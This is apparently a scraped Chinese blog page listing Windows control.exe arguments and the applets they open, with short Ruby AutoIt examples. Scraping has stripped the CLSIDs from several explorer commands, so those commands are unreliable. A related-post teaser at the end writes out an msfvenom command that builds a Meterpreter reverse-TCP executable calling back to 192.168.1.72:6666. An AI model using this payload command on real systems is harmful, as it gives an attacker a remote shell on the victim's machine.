ruby學習系列 操作windows控制面板

2022-03-24 16:49:05 字數 3655 閱讀 5416

ruby操作windwos控制面板內容,可以通過呼叫系統命令執行

命令格式:control[.exe] 引數

命令引數如下:

物件

引數

內部呼叫命令

備註

控制面板

(無)explorer.exe "::\::"

panel

未知/policy

(無)在xp sp2環境下執行後沒有反應

顯示畫面

desktop

desk.cpl

[desk.cpl] : [顯示][主題]

[desk.cpl ,0] : [顯示][桌面]

[desk.cpl ,1] : [顯示][螢幕保護程式]

[desk.cpl ,2] : [顯示][外觀]

[desk.cpl ,3] : [顯示][設定]

[desk.cpl ,4] : [顯示][設定]

外觀color

desk.cpl ,2

日期和時間

date/time

timedate.cpl

[timedate.cpl] : [日期和時間][時間和日期]

[timedate.cpl ,0] : [日期和時間][時間和日期]

[timedate.cpl ,1] : [日期和時間][時區](最後的[internet 時間]選項卡會消失)

系統ports

sysdm.cpl ,1

[sysdm.cpl] : [系統][常規]

[sysdm.cpl ,0] : [系統][常規]

[sysdm.cpl ,1] : [系統][計算機名]

[sysdm.cpl ,2] : [系統][硬體]

[sysdm.cpl ,3] : [系統][高階]

[sysdm.cpl ,4] : [系統][系統還原]

[sysdm.cpl ,5] : [系統][自動更新]

[sysdm.cpl ,6] : [系統][遠端]

[sysdm.cpl ,-1] : [效能選項][視覺效果](意料外^^)

區域和語言選項

internaltional

intl.cpl

[intl.cpl] : [區域和語言選項][區域選項]

[intl.cpl ,0] : [區域和語言選項][區域選項]

[intl.cpl ,1] : [區域和語言選項][語言]

[intl.cpl ,2] : [區域和語言選項][高階]

滑鼠mouse

main.cpl

為啥叫main令人費解orz

[main.cpl] : [滑鼠][按鈕]

[main.cpl ,0] : [滑鼠][按鈕]

[main.cpl ,1] : [滑鼠][指標]

[main.cpl ,2] : [滑鼠][指標選項]

[main.cpl ,3] : [滑鼠][輪]

[main.cpl ,4] : [滑鼠][硬體]

鍵盤keyboard

main.cpl @1

[main.cpl @1] : [鍵盤][速度]

[main.cpl @1 ,0] : [鍵盤][速度]

[main.cpl @1 ,1] : [鍵盤][硬體]

(未知)

netware

nwc.cpl

xp上執行後沒有反應

**和數據機選項

telephony

telephon.cpl

無線鏈結

infrared

irprops.cpl

未安裝無線功能的計算機上執行該引數後會沒有反應

[irprops.cpl] : [無線鏈結][紅外線]

[irprops.cpl ,0] : [無線鏈結][紅外線]

[irprops.cpl ,1] : [無線鏈結][影象傳送]

[irprops.cpl ,2] : [無線鏈結][硬體]

本地使用者和組

userpasswords

lusrmgr.msc

根據shlwapi.dll.#437輸出函式判斷顯示哪乙個使用者帳戶管理介面

使用者帳戶

nusrmgr.cpl

使用者帳戶

userpasswords2

rundll32 netplwiz.dll,usersrundll

(常用)windows 2000下的使用者帳戶管理介面,可以用這個介面提供的網路密碼管理功能刪除儲存過的網路密碼

(注意點)不過,該引數在2000下不能正常呼叫,只能使用userpasswords調出相同的介面,但並沒有網路密碼管理的功能

印表機和傳真

printers

explorer.exe "::\::\::"

字型fonts

explorer.exe "::\::\::"

管理工具

admintools

explorer.exe "::\::\::"

管理任務計畫

schedtasks

explorer.exe "::\::\::"

網路連線

netconnections

explorer.exe "::\::\::"

資料夾選項

folders

rundll32.exe shell32.dll,options_rundll 0

[rundll32.exe shell32.dll,options_rundll 0] : [資料夾選項]

[rundll32.exe shell32.dll,options_rundll 1] : [工作列和「開始」選單屬性]

掃瞄器和照相機

scannercamera

explorer.exe "::\::\::"

sticpl.cpl

(其他1)

鍵名rundll32.exe shell32.dll,control_rundll 鍵名的值

對[hkey]\software\microsoft\windows\currentversion\control panel\cpls\下的鍵名進行查詢

注:[hkey]的搜尋順序為hkey_local_machine,hkey_current_user

(其他2)

*.cpl

rundll32.exe shell32.dll,control_rundll *.cpl

*.cpl必須在%path%中某乙個定義的目錄中能找到

ruby呼叫如下:

方式1:

1require 

'win32ole'2

3autoit 

=win32ole.new(

'autoitx3.control

')  

4autoit.run(

"control desktop")

方式2:

1require 

'win32ole'2

3autoit 

=win32ole.new(

'autoitx3.control

')  

4autoit.run(

"control desk.cpl")

Ruby學習系列 疑問 1

code def saygoodnight name result goodnight result goodnight,name return result end code code puts saygoodnight john bo code goodnight,john bo 執行成功 co...

Windo的基本操作命令

第一步 先開啟windows r 然後輸入cmd 第二步 在輸入框內輸入指令 1 目錄操作 cd come dir cd 顯示當前的目錄 cd.進入父目錄 cd d d 進入上次d盤所在的目錄 可以直接輸入d cd d d 進入d盤根目錄 cd d 顯示上次d盤所在的目錄 cd d d add 進入...

kali 反彈shell 遠端操作Windows

一 在kali終端執行下面命令,生成木馬。payload windows meterpreter reverse https msfvenom p windows meterpreter reverse tcp lhost 192.168.1.72 lport 6666 f exe update c...